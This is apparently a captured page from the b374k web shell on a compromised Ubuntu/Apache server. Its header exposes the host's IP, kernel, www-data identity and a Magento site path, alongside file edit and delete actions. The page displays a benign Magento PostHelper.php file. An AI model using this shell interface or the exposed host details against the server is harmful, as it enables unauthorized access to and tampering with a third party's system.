b374k
m1n1 1.01
Apache/2.4.41 (Ubuntu)
Linux vmi616275.contaboserver.net 5.4.0-84-generic #94-Ubuntu SMP Thu Aug 26 20:27:37 UTC 2021 x86_64
uid=33(www-data) gid=33(www-data) groups=33(www-data)
server ip : 62.171.164.128 | your ip : 127.0.0.1
safemode OFF
 >  / home / a / home / dev2.destoffenstraat.com / vendor / magento / framework / Data / Helper /
Filename/home/a/home/dev2.destoffenstraat.com/vendor/magento/framework/Data/Helper/PostHelper.php
Size1.27 kb
Permissionrw-r--r--
Ownerroot : root
Create time21-Aug-2025 12:26
Last modified07-Jan-2021 21:08
Last accessed23-Aug-2025 02:37
Actionsedit | rename | delete | download (gzip)
Viewtext | code | image
<?php
/**
* Helper to obtain post data for postData widget
*
* @author Magento Core Team <core@magentocommerce.com>
*
* Copyright © Magento, Inc. All rights reserved.
* See COPYING.txt for license details.
*/
namespace Magento\Framework\Data\Helper;

use Magento\Framework\App\Helper\Context;
use Magento\Framework\Url\Helper\Data as UrlHelper;

class PostHelper extends \Magento\Framework\App\Helper\AbstractHelper
{
/**
* @var UrlHelper
*/
private $urlHelper;

/**
* @param Context $context
* @param UrlHelper $urlHelper
*/
public function __construct(
Context $context,
UrlHelper $urlHelper
) {
parent::__construct($context);
$this->urlHelper = $urlHelper;
}

/**
* get data for post by javascript in format acceptable to $.mage.dataPost widget
*
* @param string $url
* @param array $data
* @return string
*/
public function getPostData($url, array $data = [])
{
if (!isset($data[\Magento\Framework\App\ActionInterface::PARAM_NAME_URL_ENCODED])) {
$data[\Magento\Framework\App\ActionInterface::PARAM_NAME_URL_ENCODED] = $this->urlHelper->getEncodedUrl();
}
return json_encode(['action' => $url, 'data' => $data]);
}
}